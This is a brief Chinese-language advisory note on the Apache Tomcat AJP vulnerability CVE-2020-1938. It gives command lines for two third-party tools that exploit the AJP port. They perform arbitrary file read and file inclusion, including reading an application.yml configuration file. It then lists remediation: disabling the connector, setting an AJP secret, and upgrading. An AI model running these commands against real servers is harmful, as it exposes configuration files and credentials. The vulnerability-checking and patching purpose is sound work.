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CVE-2020-1938

工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果使用者负责

通过测试研究发现，该漏洞危害及其严重，涉及非常广泛，如果发现建议立即进行修复

apache-tomcat-8.5.32.zip 测试tomcat

验证工具-1（有BUG）：

任意文件读取

java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp

文件包含

java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp

打包方式： 在目录tomcat/ajp-bug 执行 mvn clean compile assembly:assembly

来源：https://github.com/threedr3am/learnjavabug

验证工具-2（建议使用）：

python tomcat.py read_file --webapp=ROOT/   /WEB-INF/classes/application.yml 127.0.0.1

来源：https://github.com/hypn0s/AJPy

修复方案

  • 临时禁用AJP协议端口，在conf/server.xm l配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

  • 配置ajp配置中的secretRequired跟secret属性来限制认证

  • 官方下载最新版下载地址：

https://tomcat.apache.org/download-70.cgi

https://tomcat.apache.org/download-80.cgi

https://tomcat.apache.org/download-90.cgi

https://github.com/apache/tomcat/releases

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